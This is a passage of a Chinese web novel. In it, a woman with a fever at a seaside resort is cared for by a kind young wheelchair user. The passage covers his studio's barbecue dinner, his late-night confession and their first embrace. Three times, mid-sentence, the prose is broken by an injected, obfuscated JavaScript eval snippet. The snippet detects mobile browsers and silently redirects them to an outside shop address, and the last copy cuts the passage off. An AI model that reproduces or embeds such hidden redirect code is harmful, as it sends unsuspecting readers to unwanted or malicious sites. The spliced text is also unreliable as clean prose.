海风卷着湿意从回廊里一阵阵钻进来,灯光把地砖擦得发亮。餐厅门口的风铃被夜风磕了一下,叮当轻响。刚走出门两步,许尽欢脚下一虚,呼吸不太匀,脸白得像是被人用粉糊过一遍。 纪允川什么也没问,只把轮椅稍稍一拐,尽量挡在她迎风那一侧。服务生追出来递账单,他抬手,笑着道谢:“麻烦你们了,辛苦。”又回头对许尽欢,“走,回去。” “我真的没事了。”她因为自己反复的病有点尴尬,带着些不好意思说,“海滩的计划可能要泡汤了,你自己去玩吧。而且明天你同事们不都来,养精蓄锐啊。” “怕你发烧。”纪允川的语气带着不容置疑,“水土不服最容易发烧。” 路口有两条坡道,他挑了更平那条。轮圈在他的左手下转得很稳,右臂的伤疤还没完全消掉,身体自然地微微前倾过去,肩背线条紧起又松开。 进房后,空调先被调高两度。纪允川结了自来水,将热水壶按下去,灯光降到只有一圈柔的。他从背包的侧袋里摸出一支白色小枪,对准她额头,认真又幼稚地发声:“biu~” 许尽欢被逗得眼尾弯了弯:“你从哪儿弄来的体温枪?” 额温枪清脆一响,数字停在37.7。 “我们机器猫的秘密怎么能告诉你一介凡人。”他不紧不慢,“低烧。许尽欢女士,你被判处无期徒刑,乖乖吃点清淡的,然后吃药。” “能上诉吗?”她声音轻柔,“我觉得法官有失公允。” “一审二审合并审,驳回。”他说完自己先笑了。 一碗阳春面很快送到。盖子掀开一条缝,白气暧暧地扑出来。他先用勺试温,挪到她手边,又把药按说明码好,温水杯口对着她。许尽欢象征性喝了几口,吞药,眼皮像被谁按下关机键,慢慢塌下来。 “你是不是偷偷给我下药了啊。”许尽欢钻进被窝。 “那是退烧药的副作用,别再发烧了。”纪允川声音轻的像叹息:“是我不好。” 许尽欢没听清,感觉困的不行,耳边的声音变得模糊:“你说啥?” “我说躺着吧。好好睡一觉。”他把靠枕拍松,侧身替她把被角掖好。她的头发散了几缕在颈侧,他伸手,指腹只轻轻一拨,将发丝挪开。 灯又往下一格,房间的灯被缩小成一圈安静的光。许尽欢睡得很快,呼吸很快变得平稳。他把轮椅挪到床侧的沙发旁,刹住。手机调静音,屏幕朝下,工作室的群跳了几条,他用拇指把对话打开免打扰。害怕许尽欢因为听不到声音惊醒,找出电视剧调低音量播放。中途倒了半杯温水,再把门关得轻轻的。 坐久了,他的背很僵。脊柱那条打过钉子的地方像被冰冷指尖摸了一下,刺得他下意识吸气。纪允川把上身的重量在轮椅靠背上分了分,左手按住大腿根,换了个更舒服的坐姿。过一会儿,他照例做一次压力释放,双手压住推圈,手臂用力,把臀部从坐垫上提离一寸,三秒,五秒……撑够两分钟再缓缓落回去。动作做得极轻,像是怕惊动谁。 窗外浪声一下一下,像放在钢琴上的节拍器。屋里只有许尽欢睡着时很轻的鼻息,有时候梦里“嗯”一声。他看一眼床头小夜灯,再看一眼她没完全掩住的侧脸。那点苍白在灯底下淡下去些,他胸口也跟着松一点。 不知道过了多久,许尽欢醒了。睁眼先看见沙发上坐着的人。 “你坐了多久?”嗓音沙着,像枯枝刮过纸面。 “没多久。”他随口应答。 她瞥眼床头的小闹钟,没拆穿,只把掌心按了按身侧的一片空白,三个字:“上来躺会儿吧。” 纪允川愣了一下,耳尖立刻红了:“不合适。你好好休息,我看着你睡我就回去。” “嫌弃我吗?”她淡淡丢出一句话。 “我没有。”他忙否认,眼神都慌了一瞬,连带着背部轻轻一紧。 “那就上来躺着。”她的声音还是软的:“两米乘两米二的床,躺下三个人都绰绰有余。” 纪允川也没再推辞。轮椅挪到床沿,刹住。左手抓床边,右手撑轮椅坐垫,肩背发力,臀部一点点挪到床上。 落稳后,他照例捏住床垫的边,喉咙里很轻地吐了口气,再用双手托住自己的膝弯,把两条没有知觉的小腿一条一条抬上来,放在床上摆直。避开所有可能牵扯背部的角度,生怕一不小心在许尽欢面前再表演一出痉挛。于是动作慢吞吞的,两条腿摆妥,他顺势往床边再缩出一道安全距离,背对她,伸手把她那头的被角又掖紧了一点,才把眼睛合上。 许尽欢看着离自己十万八千里,在床边弱小可怜且无助的背影,被逗乐了。 两人的呼吸一开始不在一个拍子上。她呼一口,他才吸一口;过了半分钟,两人节拍不知道被谁悄悄调了一下,才慢慢对齐同频。 他很清楚自己的身体,不敢深睡,万一在许尽欢身边来一出失禁,那他是真推着轮椅跳海算了。腰处那条旧伤像被寒气钻进骨髓,一阵阵的。他把左手悄悄垫在腹前,习惯性的姿势;背部扯了一下,他就换到另一个角度,尽量不发出一点声响。被子的布料扫过他的手背,痒痒的。 他忽然生出一点滑稽的想法,这是不是说明许尽欢其实对自己也是有点好感的呢。 不知什么时候,纪允川先醒了。许尽欢还睡着,呼吸均匀。他把腿一条条挪回床沿,拖回轮椅里,刹车解开又按上,房间大面积的地毯吞掉所有细小的声响。门开一条缝,他轻轻关上。 他回自己房里处理必须的事。 导尿、洗澡,换了套干净的衣服。把昨晚收来没来得及整理的药按早晚分清,体温枪放在触手可及的位置。给前台打了电话:八点送温粥和补盐液,还有椰子水。 最后在床头小桌压了一张便签: 醒来先量体温哦; 如果≥37.5,一定打我电话!; 粥趁热~ 落款没写名字,便签角上画了一只抱被子的小狗,耳朵圆圆的,笨拙可爱。 许尽欢不自觉扬起一个笑容,没想到纪允川画画还挺好看的。 电话会九点开始,窗外是一块明亮的果冻海。手机震了两下,纪允川以为是同事补充议题,没有看。第三下,他点开—— 【知道了。你好操心啊。】 他唇角轻轻翘了一下,晨风的清凉混合着甜意。 【谁让某些人自己不上心,把自己当变形金刚。】 回了消息把手机扣回桌面,目光重新收回运营发来的PPT,神情很专注。 许尽欢醒来后,房间里播着低音的电视剧,她觉得安稳不少。体温枪、温水、整整齐齐码好的药和一张便签摆放在床头柜。她拿起枪对着自己测了一下,测温枪居然还真有biu的一声,数字乖乖落回正常范围。粥还温着,她握住瓷质器皿边缘,舀了小半碗,温热下肚,舒服了不少。 “也不知道什么时候走的。”许尽欢把勺子放回碗里,拇指在便签上按了一下,纸质是木屋客厅的客人意见簿撕下来的。 门铃“叮”的一声。她去开门,纪允川在门外,打扮的很是帅气时尚,眼睛里全是笑。 “报告长官,”他压低声音,“执行力极强的看护人员到岗。” 她侧身让路,顺手退了一步:“进来。” 他先看她脸色,气色好了不少。 “再‘biu’一次。”他伸手要体温枪。“你信用额度不怎么高了。” 许尽欢配合俯下身。“滴。”数字很安全。纪允川的嘴角比刚才又上去一点点。 “现在宣布,允许许尽欢女士出去放风一个小时。”他说得一本正经,“但要戴帽子穿外套。” “……好。”许尽欢笑了一下,把帽子从行李里戴上,找出外套穿上。 她目前没有被约束的反感,反而觉得挺新奇的,这还是第一次有人这样管她。 两人并肩往外走。 海滩边人不多。阳伞一把挨一把,远处有两个孩子在堆沙,笑声被风打成碎片。木栈道坡度不大,他推轮椅上去,手臂的肌肉线条干净漂亮,右臂皮肤上留了三道浅浅的粉色新肉。他把轮椅停在一截栏杆旁的阴影里,让许尽欢躺在沙滩椅上看海。 “怎么说,元气恢复了要不要晚上和我们一起吃顿饭?”他半开着玩笑,早就准备好了许尽欢拒绝后的说辞。 “行啊。”她看着海,接过纪允川递给她的书,眼睛里反光着海浪,“你们吃啥?” “打算吃烧烤,”他有些讶异,“他们上午到,各自玩玩休息一下,下午才一起烧烤。我以为你会嫌弃我们吵。我还合计着给你发几家我种草的餐馆你选一选去哪家呢。” “凑个热闹。”许尽欢捧起椰子喝了一口。 风在这会儿变小了,阳光切成一条条,落在纪允川棱角分明的侧脸上。他把轮椅刹下,双手平放在大腿上,手指自然张开。她余光扫过,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586799|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得他的手很好看。 指骨分明,手指修长,指甲修剪的也很干净。关节泛着淡粉色,许尽欢想,如果做自媒体的话可以专门拍手。 “谢谢你,这次给你添了很多麻烦,你还一直脾气这么好的照顾我。”许尽欢诚恳地道谢。 她这两天真的看了很多评分软件上的热门高分浪漫爱情电影。 他“嗯”了一声,似乎有点害羞,没转头看她,推动轮椅的速度慢了一点。 风从她的帽檐底下钻进来,带着一点海水的咸味。她忽然想到一件事:“你是不是有点害怕我?” “啊?”他有点不理解地侧头。 “不知道是不是我的错觉,你跟我讲话总是小心翼翼的,我看起来很容易生气吗?”许尽欢其实有点不解。 纪允川笑开,这回是真心被逗到的那种笑,眼底亮得过分:“因为我不想你讨厌我,所以小心一点自己的言行很正常吧。” “我目前还没讨厌过谁。”她也笑了一点点,目光又回到海上,“你很可爱,是招全年龄人类喜欢的类型,不用担心。” 回到房里,许尽欢的体温完全落回正常。纪允川把姜枣水换掉,留下新的温水。她按他要求把药吃了。床头那张便签被她叠了两道,当成书签夹在海边没看完的书里。 “午睡吗?”他问。 “睡。我睡眠时间比一般人长一点,我挺嗜睡的。”她说,又像想到什么似的补了一句,“你腰背不舒服就躺一下。别总坐着。” “好。”纪允川笑着答,“那我走啦?晚上吃饭再来叫你,给你介绍我工作室的朋友。” “行。” 纪允川慢悠悠地离开,许尽欢裹紧被子,想起昨晚他把两条腿一点一点抬上床的样子,胸口某一块慢慢软下去。 这段时间和纪允川的相处,像石子扔进水里,没声没息,却圈出几道涟漪。 这会儿她闭着眼,觉出一点好笑。自己是那种对热烈感情不太会回复、安慰也常常干巴巴的人;而他呢,好像日头下跑来跑去的大狗,尾巴一摇一摇的,善解人意的和崽崽有得一拼,知道什么时候该把脑袋搁在你膝盖上,什么时候该退开一步自己去玩。 许尽欢揪着被角睡着前最后一个念头是:也许可以试试…… 比如,等重新回到北城的时候,她做一份他喜欢的沙拉,这是她能做到的热情。 傍晚。海边的风按时小了下去。她戴着帽子,坐在轮椅旁边的椅子上,脚尖挖了一点细沙出来。远处有小孩在追浪,浪跑过来,笑声跑过去。 他这会儿把轮椅往她这边一挪,手心撑在轮圈上,侧过脸:“等会儿想吃什么?我让他们多烤一点,感觉咱们提前来的这三天你吐的瘦了一圈。” “你做主。”许尽欢说,“我也不挑食。” 他笑着答应:“行,那我安排。等会看我给你露一手,我很会烤串的。” 许尽欢偏头看他一眼。夕阳落在他侧脸,光沿着眼睫打下来。 纪允川的眼里仿佛有一整个晴日。 “期待。”她简短地应了一声。 他也不逼她多说话,就陪她在海边坐着,是不是拿起手机回复两条消息。风声里,他的手偶尔轻轻按一按轮圈。 许尽欢的余光看到了纪允川的动作,随即真实地不解,她不知道是自己在网络上了解到的信息科普有误,还是纪允川天赋异禀。 在这种程度的残疾里,纪允川真的活的很体面,不知道是经济条件比较富裕,还是他真的意志力顽强。 “我去洗个澡。”她说。 “好。”他退到门口,“我同事他们也该集合了。” 门轻轻合上。水声从浴室里传出来。屋子里只剩下他一个人,他把轮椅在原地掉了个头,轻轻做了两次压力释放。肩背线条在灯下起伏,像一只缓慢呼吸的乌龟。 门开了。许尽欢头发还湿着,披在肩上,眼睛清泠。 “风小了。”她说,“等下烧烤应该不会被吹。” “嗯哼,”他笑,“明天要不要一起去看日出?” “太早了。”她诚实,“我起不来。” “那我去了拍给你看。”他改口,毫不犹豫,笑意把眼睛弯成月亮。 她点头,嘴角也跟着轻轻弯了一下。 很多事情是可以慢慢来的,像风,小一点,就会适合烧烤;像阳光,日出也不必一定要明天,如果来日方长,那哪天都可以。 26. 第 26 章 海风灌进酒店的大堂,拎走了大厅里酒水吧刚冲好的咖啡味。纪允川工作室的人陆续报到,酒店的装置艺术有一个风铃,叮叮当当地一串轻响。 “提前预定的烧烤露营地在酒店西边儿。”小玫举着iPad在清单上划,头也不抬:“女生九个,男生十个。” “你们公司男女比例差不多啊,真难得。”许尽欢站在扶手边,语气平淡地感慨。穿了一条浅蓝色的长裙,画了淡妆,配上淡漠的气质和清冷的五官,宛如遗世独立的圣女。 “那可不。”纪允川笑,骄傲得像是小学生刚从娃娃机里夹出特等奖品。他一手转着轮圈,另一手朝前台的小玫打招呼。 前台后面就是海。 棕榈叶子被风拍得哗啦作响,夕阳斜着落在他肩上,薄薄一层亮。许尽欢跟在纪允川侧后,没想到有这么多人。她其实有点后悔。 晚霞变成了粉紫色,大家在酒店提供的活动场地拼了两张长桌。玻璃外海面亮得晃眼,桌上小碟里青柠、水晶蒜、辣椒圈排得整整齐齐。半桌海鲜半桌蔬菜,清淡的全被纪允川往许尽欢那边挪过去。 许尽欢幽幽地开口:“我像兔子吗?” 纪允川露出一口白牙:“像,不过是限时版本。” 她叹了口气,低头认真剥虾,偶尔抬眼,把眼前的热闹当下饭综艺看。 大城捧着椰青忽然开了腔,平地起惊雷:“我刚进公司的时候以为咱老大是男同来着。” 许尽欢也停下了剥虾的动作,饶有趣味地转头看着纪允川。 纪允川正喝水,被这话生生呛到,咳得眼角都红了:“?你说什么?” “真的!”大城的语气那叫一个坚决,丝毫没有撤回的打算,“我当时入职第一天,在电梯口看见一个清秀小哥跟老大要微信,最主要的是他还给了。那小哥贼好看,甚至能称得上是漂亮,还是长发,要是搁我们美术组都能做参考。” “???”纪允川不可置信,筷子差点掉桌底,开口的时候悲愤的语气像个绝望的老实人“那是我手里提的锅贴不送外卖!他问我锅贴店电话!我真服了你了。” 长桌上先是一片安静,随即轰然爆发出一阵笑声,众人笑的前仰后合。那位在病房里有过一面之缘的李子笑得差点把烤生蚝呛进气管。 许尽欢低头死死抿住双唇强忍笑意,低头挤了一瓣青柠在纪允川刚亲手烤好的龙虾上,酸水亮在指尖,眼里却实打实地笑了。她把笑压住,像没发生过,把小碟往自己这边挪了挪。 小玫悠悠地补刀:“不过咱老大确实男女通吃。但是我进公司三年,老大一直守身如玉的。今天终于见到守身如玉的原因了。” “哇——”“芜湖——”起哄声像浪花往这边扑。十几双眼睛热情得跟反光板一样。 纪允川耳朵“嗖”地红了,怕许尽欢尴尬,当即把话题拐弯:“小玫你快吃你的吧,不是好几个月前就说想吃海鲜吗?这儿的海胆新鲜,快吃东西吧你。” 他一边说话一边把盘子里剥好的螃蟹往许尽欢面前的小碗轻轻一推。 “谢谢。”许尽欢小声,笑了一下。 他被这浅笑砸了一下,紧绷的精神可见地松懈了点,看着许尽欢面前的虾壳和贝壳,思忖着许尽欢平时小得可怜的食量,小声说:“不客气。你只管吃,但胃不舒服也不要勉强自己,吃不下丢到我盘子里就好。” 桌边很快回到他们的日常聊天。许尽欢看着每个人都神情轻松自在,也每个人都侃侃而谈。这几乎二十个人像非常和谐的大学同学聚餐一样,她不禁对纪允川刮目相看。这种工作氛围实在是难得,这种同事关系更难得。 海风吹起桌布一个小褶。许尽欢把面前的一堆虾壳叠好,用纸巾慢慢擦手。然后围观这一群活宝聊天。大概知道这些人都是大学刚毕业,这个项目也是努力做了一年,大家都等着这款游戏上架一炮而红。 也不知道是不是纪允川嘱咐过,大家只当聚餐多了个透明人。倒让许尽欢吃饭的时候自在不少。 饭后,大家散得飞快,去海边、去泳池、去补觉。纪允川把还在国内苦哈哈工作的运营部发来的视频确认了一遍,合上电脑,转头问:“要不要去海边走一会儿?现在风小。” “你不是有会。”许尽欢晚上吃撑了,整个人懒洋洋的。 “半小时后。”他诚实。 “那你去开会吧。我自己走走。”她摆摆手,示意他不用管自己。 “行。我给你发个定位,有个角落风景很漂亮哦。”他比了个OK的手势。 许尽欢沿着栈道走,椰树巨大的叶子在风里晃得像瘦长鬼影在夜里招手。她没急着拍,随手录了段浪声,录了个外国的金发小孩追泡泡的背影。回酒店路上拐进便利店,买了点零食和饮料。结账的时候又多拎了两瓶无糖茶,路过他的门,把两瓶挂在门把手上,发了条消息:【门口。】 过了十几分钟,纪允川回:【收到~谢谢救命茶。今晚一起吃夜宵吧,报恩。】 她回:【嗯。】 水屋夜里像一盏被放进海里的灯。 桁架沿着海面延伸出去,灯带把走道镶成一条细细的琥珀线。水面被风压出阴蓝的纹路,潮声一层一层推过来,像在呼气。房檐底下挂着两盏小球灯,晕开的光落进水里,又被浪轻轻晃乱。 露台上,靠海的一侧是半圈矮玻璃栏,桌上留着白色烛盏和点到一半的香薰。许尽欢把笔记本电脑打开,屏幕里电视剧的人影变换,懒懒靠进躺椅,指尖夹着一根烟。 手机亮起:【在干嘛。】 【发呆。】 【夜宵吃吗?】 【真点了?】 【卡着后厨关火前点了几样。清淡的。】 【好。】 没多久,门铃响。 她没起身,隔着门说:“你有房卡还按。” 门外那人笑着回答:“没经你允许嘛。” 门后的磁卡“嘀”一声。轮椅的轮子压在水屋独特的木地板上,低低碾过去。纪允川停在门槛边,顺着门框给自己找了个角度,先把踏板抬过小小的坡,再把轮圈往前一拨,动作很轻。 许尽欢看着这人大半夜换了身老钱风格的亚麻白衬衫和驼色裤子,轮椅踏板上是一双小白鞋。莫名其妙给自己长了几岁的打扮让她有点奇怪:“大半夜穿这么帅啊?” “下午的衣服一股烧烤味儿。”纪允川耳朵红了下,因为他确实是精心打扮了一下才来找的许尽欢。 “在抽烟?” 纪允川问,没绕弯子,声音压低,像夜色的降下的温度。 “嗯。”许尽欢把烟拿开一点,侧头看他。似乎也带着一些试探,和一些坦白。不可否认的是,她故意没有熄灭指尖的烟。因为想看纪允川这个阳光少年的反应。 许尽欢抽烟很多年了,暂时也没有戒烟的想法和打算。而对于她来说,人是无法因为另一个人改变的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593874|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少她是这么认为的。 所以她还挺想知道纪允川对此的接受程度。 纪允川笑了笑,眼睛也弯了一点,似乎完全没有拿许尽欢指尖明灭的火星当回事儿:“饿不饿?” 她被逗了一下,嘴角抿起来:“我以为你下一句会是‘少抽点’或者‘抽烟对身体不好’。” “我又不是NPC。”他哼了一下,带点得意,“这种被动回复留给别人吧。” 走廊那边传来轻轻的轮声,是服务生推餐车的声音。餐车停在露台门口,银盖擦得亮亮的。服务生把两大盘摆上桌:一半冷盘一半热菜,旁边是水果和两份小甜点。清亮的白盘在暖黄灯底下特别好看。 托盘上是小份:鱼片、清蒸贝、清炒玉米笋,还有小番茄和切好的水果。分量都不多,样样都是小巧精致的那种。还有一瓶红酒,他示意服务生把托盘放到阳台小圆桌上,然后脱下外套搭在她身边椅子上的椅背:“有点凉。” “嗯。”她没拒绝,把衣领往上提了提。 “吃点?”纪允川把桌板向她这边推。 “不饿。”许尽欢淡淡。 他眉头蹙了一下,没多说教,也没劝:“那等你饿了再吃。” “叹气”这个动作在许尽欢的身上很少见,她轻轻呼出一口气,拿起叉子,捻了一小块烟熏三文鱼,象征性地吃了两口,味道温和。她又用叉子挑起一块水果,慢慢咬。 纪允川坐在她身侧,拿起酒杯润了润口,只点到杯底的红。海风从开着的纱门穿过来,吹动他领口。他侧眼看她一眼,认真:“想抽烟就抽吧。我不是瓷娃娃。” 许尽欢笑出来,把烟夹回指缝点上。火柴“嗒”地亮了一下,橘色火星在她指尖停留,两秒后归于暗色。她吐出第一口烟,烟雾被风拆得很薄,几乎要消失。 夜里海是听得见的,像有人在远处收拾几百张沙被。两个人在水声里安静了一会儿,灯光把影子拉得很细。 他想了想,斟酌着开口:“晚上小玫说的话,你别放心上。” 许尽欢一时没反应过来:“哪句?你守身如玉?” “……”纪允川失笑,抬手揉了一下眉心,解释道,“他们平时压力大,总得有个出口。嘴贫,没恶意。” “那你呢?”她问。 他一本正经:“我没压力啊。” 许尽欢撇撇嘴:“喔。” “你敷衍我。”他像个不讲理的小学生。 “没敷衍你。”许尽欢语气平平。 纪允川没再纠缠这个话题。风从许尽欢耳边过去,珍珠耳饰随着海风摇曳,拍打着她修长白皙的脖颈,她的头发轻轻扫到肩头,明显的锁骨在挂脖长裙中若隐若现,细瘦的胳膊看上去用力拉一下都会骨折。 许尽欢真的很瘦。 他把杯子放在阳台的小茶几上,指腹在杯沿上摩挲了一下,双手复又垂在毫无知觉的大腿上,反复揉搓着腿上的亚麻布料,像先给自己打个草稿。又过了两秒,他终于问出来: “许尽欢......你可不可以……给我个机会,让我喜欢你。” 他把“喜欢”两个字说得很轻,好像一不注意就会被海浪卷走的沙粒。 许尽欢没有立即回答,她此刻心情十分平静,早有预料的猜想被证实。 海浪在他们脚下拍打,露台灯把水边那道线描出一圈亮。她抽了一口烟,把烟灰弹进瓷灰缸的边,淡淡地接了句:“可以啊。” 27. 第 27 章 海风从海面一路扫过,掠过露台的玻璃和栏杆,把嵌入的灯带吹成一条轻轻摇晃的线。水屋底下的海浪随风拍着桁架。夜深,浪花的边绽放着一圈白,又很快被黑暗收拢回去。 许尽欢侧身窝在屋外的秋千椅上,半躺半坐,膝弯搭在软垫上,长裙下摆落成一摊安静的波纹。她指间夹着一支烟,白皙修长的指尖火星明灭,呼出去的白烟被海风拆到看不见,留下很淡的苦味。电脑屏幕在屋里亮着,电视剧传来的背景音压得极低,像远处有人小声讲故事。她的眼睛顺着一条条海浪线发呆,像在看一部没有结尾的电影。 轮椅的轮子在木板上碾过时没有留下任何纹路,纪允川停在她对面,背着海面上的月光被灯带描出一道薄亮。 背着月光,正对室内的落地灯。 光影似乎十分偏爱他,勾勒出俊俏的模样。许尽欢安静地欣赏着眼前的帅哥,何尝不算一种精神夜宵。 纪允川的大拇指和食指反复揉搓着大腿上的布料。亚麻这种面料生来脾气不太好,被他揉了半晚,早起了球,细细一团团,像是风把盐晒成小白疙瘩,顽固地贴在上面。指腹磨过那些小疙瘩,他的呼吸也跟着有了轻微的起伏。他喉结动了动。 终于打算开口了。 许尽欢轻笑。 “你……你可不可以给我个机会让我追你?”他说得很轻,话一出口,他的肩膀像被自己惊了一下立刻紧绷,耳后也热,于是开始连忙找补,“算了,你别在意,我刚刚可能抽……”风了…… “行啊。”她懒懒地回,语气像海风,擦着纪允川耳廓而过,带着漫不经心的温度。 “什——么!?”他抬头,眼睛里亮得不讲理。 许尽欢被他这一嗓子吓得身形一抖,烟灰跟着一抖,从指尖轻轻落在烟灰缸外,落在黑木板上散开一小圈,像一朵被风按扁了的雪。她皱眉,伸手去抽餐巾纸,声音平平:“这位朋友,晚上十点了。你这一嗓子把寄居蟹都喊起床了。” “你刚刚说什么!你是不是答应我让我追你了!”他压低声音,还是压不住,尾音扬起,面露惊喜。 “我刚刚说,你不用追。”她把纸巾叠好,低头把散开的烟灰一点点往灰缸里拢,白纸在黑木板上推开一条小小的轨迹。她抬眼,看着眼前这位宕机到读取失败的活人雕塑,眼尾轻轻一弯,“因为我也喜欢你,所以不用追。” 这句话落下的瞬间,时间像被暂停了一秒。然后所有的声音又同时回来。海的呼吸、风铃的叮当作响、桌角香薰蜡烛的炷芯被风咬了一口后重新燃起来的细小“噗”声。许尽欢站起来,把纸巾扔进垃圾桶,转头想说点什么的时候,被眼前的画面吓了一跳。 纪允川的眼圈已经红透,像刚被热蒸汽熏过。眼泪不讲理地往下掉,砸在他的腿上。大颗大颗的,砸出一圈一圈深色的水痕,刚好落在那片被揉搓起球的亚麻上。每一滴都是“啪嗒”一下。 许尽欢又开始不合时宜地发散着脑海冒出的想法,纪允川如果是美人鱼,他哭出来的珍珠肯定又大又圆。 她顿了顿,她不擅长处理眼泪的人,都快被纪允川这个哭泣包给哭脱敏了…… 她默默叹了口气,把只抽了一半的烟按灭,半支烟在烟灰缸里蜷成一个小小的弧。她又抽了几张纸巾,蹲下在他轮椅边,动作轻得像在修复文物。 “祖宗,你怎么跟个水龙头似的。”她小声,语调里是极浅的无奈。 纸巾碰到他的眼角,水立刻爬上来,把纸巾的边浸软。她换了一边,继续擦,耐心得出奇。 她抬眼看他,纪允川低着头,浓密的睫毛湿得像被露水压着的松针,挂着一两个抖不掉的小水珠。她叹气,又抽一张纸,轻轻按住他的下睫。 “活爹,你别哭了,我害怕。” 但手上动作还是没停,像幼儿园老师给学生擦脸,动作仔细到有点笨拙。 纪允川吸了一下鼻子,像被她无奈的话逗笑,又笑不出来。喉咙里“嗯”了一声,哑的。他眼泪还是在往下掉,像卡了壳的阀门,还没找到关的位置。他努力想停,停不住,又努力想解释,也不知道从何开口,解释不了。 最后只能又吸一口气,声音很轻地语无伦次:“我……我没事。我就是……” “就是现在想哭一下。”许尽欢温柔地笑着说。 他抬了下眼,仔细地看着许尽欢的神色。 许尽欢正在认真而努力地给纪允川小朋友擦眼泪,留最后一滴在眼尾,没急着碰,让它自己慢慢滑到颧骨,停住。她伸指腹轻轻点一下,指腹的温度隔着柔软的餐巾纸落在纪允川的脸上。 她停了停,发现这位小朋友终于不哭了,松了口气。起身坐回秋千椅。风从她耳边过去,耳饰轻轻碰到脖颈,又被风拨回。 “被别人看到了的话,说不定以为我在欺负你。”许尽欢笑着望向鼻尖眼尾都殷红的纪允川,“原来你是眼泪做的呀。” 纪允川被逗笑,笑眼里还带着潋滟的水光。他抬眼看她,又立刻躲开,目光重新落到她的手上。他的手指轻轻动了动,像想抓什么,又不敢。 “可不可以抱一下?”他问,声音很小,语气里还有点紧张,“我……我想……” 他没把后半句说完,像觉得多余。许尽欢被他这句问得弯了弯眼。 她忽然想起上回去了小狗乐园,被小萨摩耶撞到的插曲,低低“嗯”了一声,索性原样复制了一次。 她侧坐到他腿上,把裙摆往后理了理,避免被轮椅的轮轴绊住。她很轻地把重量一点一点放在他的腿上。她跨过踏板的外沿边缘时注意了一下,轮子上像自行车轮子那样的窄窄的金属边,很凉,碰到脚踝会麻。她把脚尖抬了抬,避过去,这些动作把她整个人慢慢放进他的怀里。 她的胳膊从他肩背后绕过去,落到他的后颈,指腹按着那里短短的发茬。她靠上去,像找到一个刚好合身的懒人沙发,懒散地靠着。 两个人的肩和胸口贴合的地方只隔一层布,她能听见他的心跳又快又乱,像被海风一阵一阵吹起的风铃。她把下巴搭在他的颈窝,呼吸擦过他的皮肤。 纪允川几乎是下意识收紧手臂,像被人允许了什么。拥抱嵌合的瞬间,又在下一秒松了点力,像在手里捧一只易碎的瓷杯。 他害怕自己不够分寸,怕抱疼了许尽欢,怕让她不舒服,怕……他什么都怕。 “用力点。”许尽欢没有抬头,声音从他的颈窝传出来,带着一点点困乏后的耽溺,“纪允川,我喜欢被人紧紧抱着。” 纪允川此刻什么话也说不出,只是照做。手臂重新收紧,力量不再试探,像把一个人真正按进自己的身体里。一瞬间,他甚至觉得自己的背脊都被按直了,胸腔被填满,飘在空中的心脏也一下子落了地。 他闻到了许尽欢身上的淡淡花香,好像是玫瑰花的香气。 害怕后知后觉地袭来,纪允川祈祷着自己的身体一定要争气,不要在这种时刻痉挛,也不要在这种时刻失禁。 他知道亲密关系需要信任和坦诚,但是他不想让她在答应自己告白的第一天就意识到这些麻烦。 许尽欢其实早就都看在眼里,她稍微挪了挪,给他的腿留出一点点活动的缝,裙摆垂下来,轻轻蹭过踏板边缘,落出的褶像一朵花瓣刚落地。 她抱得很紧。她真的很喜欢被抱着。先是肩,再是胸口,再是下巴,然后是呼吸。 她把自己塞进他怀里,像把一把锈迹斑斑的钥匙慢慢插进一把陈年的锁。 她闻到他衬衫被夜风吹凉后的棉麻味,混着一点洗衣水的香,干净的。然后她很不明显地嗅了嗅,像抱抱把脸埋到喜欢的毛毯里。 纪允川抱着她,忽然有一点点手忙脚乱,又不舍得松开。他的手往上挪,落到她背上,隔着布料慢慢地、很轻地来回摩挲。手掌的温度一点点烫起来。她的皮肤薄,肩胛骨的线条在布下很明显。 她太瘦了,瘦到抱起来的时候,会生出一种不小心就会弄坏的错觉。 他本能地去确认她有没有不舒服,低头想看她的表情,结果只看见她的一截耳饰从发丝间露出来,微微摇晃。纪允川的鼻尖擦过她的发,有些痒。 “我……”他想说什么,没组织好,喉咙里打了一个不合时宜的小结。他笑了一下,笑到一半被自己的鼻音出卖,尾音软得一塌糊涂。 “还有很多时间,你慢慢想。”许尽欢的声音很轻,哄孩子似的揉了揉纪允川的脑袋。 纪允川真的慢慢想着,久到露台的香薰蜡烛的那点蜡油聚成半杯反光的水镜,久到她的呼吸在他的颈窝里变得稳定,呼吸的温度一下一下地烫成一个被标记过的地方,久到他也不再觉得自己在落海的边上,心跳从一开始的潮水一样的乱,慢慢变成在岸上唱起了歌。 风不时从他们背后穿过去,把她的一两缕发丝吹起来,又铺回他的肩上。她的手指偶尔动一下,在他后颈那部分皮肤上轻轻擦过。他觉得自己此刻如果有尾巴,大概会摇成螺旋桨。 不知道过去了多久。纪允川的鼻尖也红,耳朵更红。他想低头把红藏起来,又觉得没必要。夜晚的海看上去很大,应该容得下这些窘迫。 没人的秋千椅随着海风轻轻晃,幅度很小。坐了两个人的轮椅金属边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 